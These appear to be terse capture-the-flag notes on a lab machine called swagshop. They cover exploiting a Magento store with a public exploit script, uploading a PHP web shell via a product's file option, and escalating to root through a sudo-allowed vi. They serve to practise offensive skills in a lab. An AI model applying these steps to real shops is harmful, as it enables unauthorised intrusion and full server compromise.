10.10.10.140

searchsploit -m exploits/xml/webapps/37977.py
mod some lines
target = “http://10.10.10.140/"
target_url = target + “/index.php” + “/admin/Cms_Wysiwyg/directive/index/”

goto index.php/admin
creds forme:forme

https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper
https://www.youtube.com/watch?v=nNB9XlRfvzw



use MSFconsole for listener : link : https://www.hackingtutorials.org/networking/upgrading-netcat-shells-to-meterpreter/

edit existing product, add a custom file type to php
upload shell, buy the item and checkout to last page
goto .com/media/custom_options/quote and look for your php

pop the shell
www-data already has user privs so get user flag

sudo -l says that www-data has root privs to vi

www-data@swagshop:/home/haris$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/test.txt


then just :sh for a root shell!